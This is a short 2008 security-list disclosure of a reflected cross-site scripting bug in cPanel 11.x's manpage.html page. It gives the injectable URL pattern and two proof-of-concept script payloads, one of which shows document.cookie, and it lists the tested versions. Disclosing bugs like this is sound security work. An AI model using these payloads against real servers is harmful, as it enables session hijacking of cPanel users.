XSS in cPanel 11.x

From: <xx_hack_xx_2004_at_hotmail.com>
Date: 21 Mar 2008 20:21:50 -0000

('binary' encoding is not supported, stored as-is) Hello

I Discovered a new bug in cPanel ( xss )

Exploit :

http://example.com:2082/frontend/x/manpage.html?[XSS]

Example :
1-
http://example.com:2082/frontend/x/manpage.html?<script>alert(LeZr)</script>

2-
http://example.com:2082/frontend/x/manpage.html?<script>alert(document.cookie)</script>

tested on:
cPanel V 11.18.3
cPanel V 11.21.0-BETA

Discovered By Linux_Drox

Soon : Bypass Security of servers On cPanel 11.x

www.LeZr.Com
S-H-T
Received on Mar 22 2008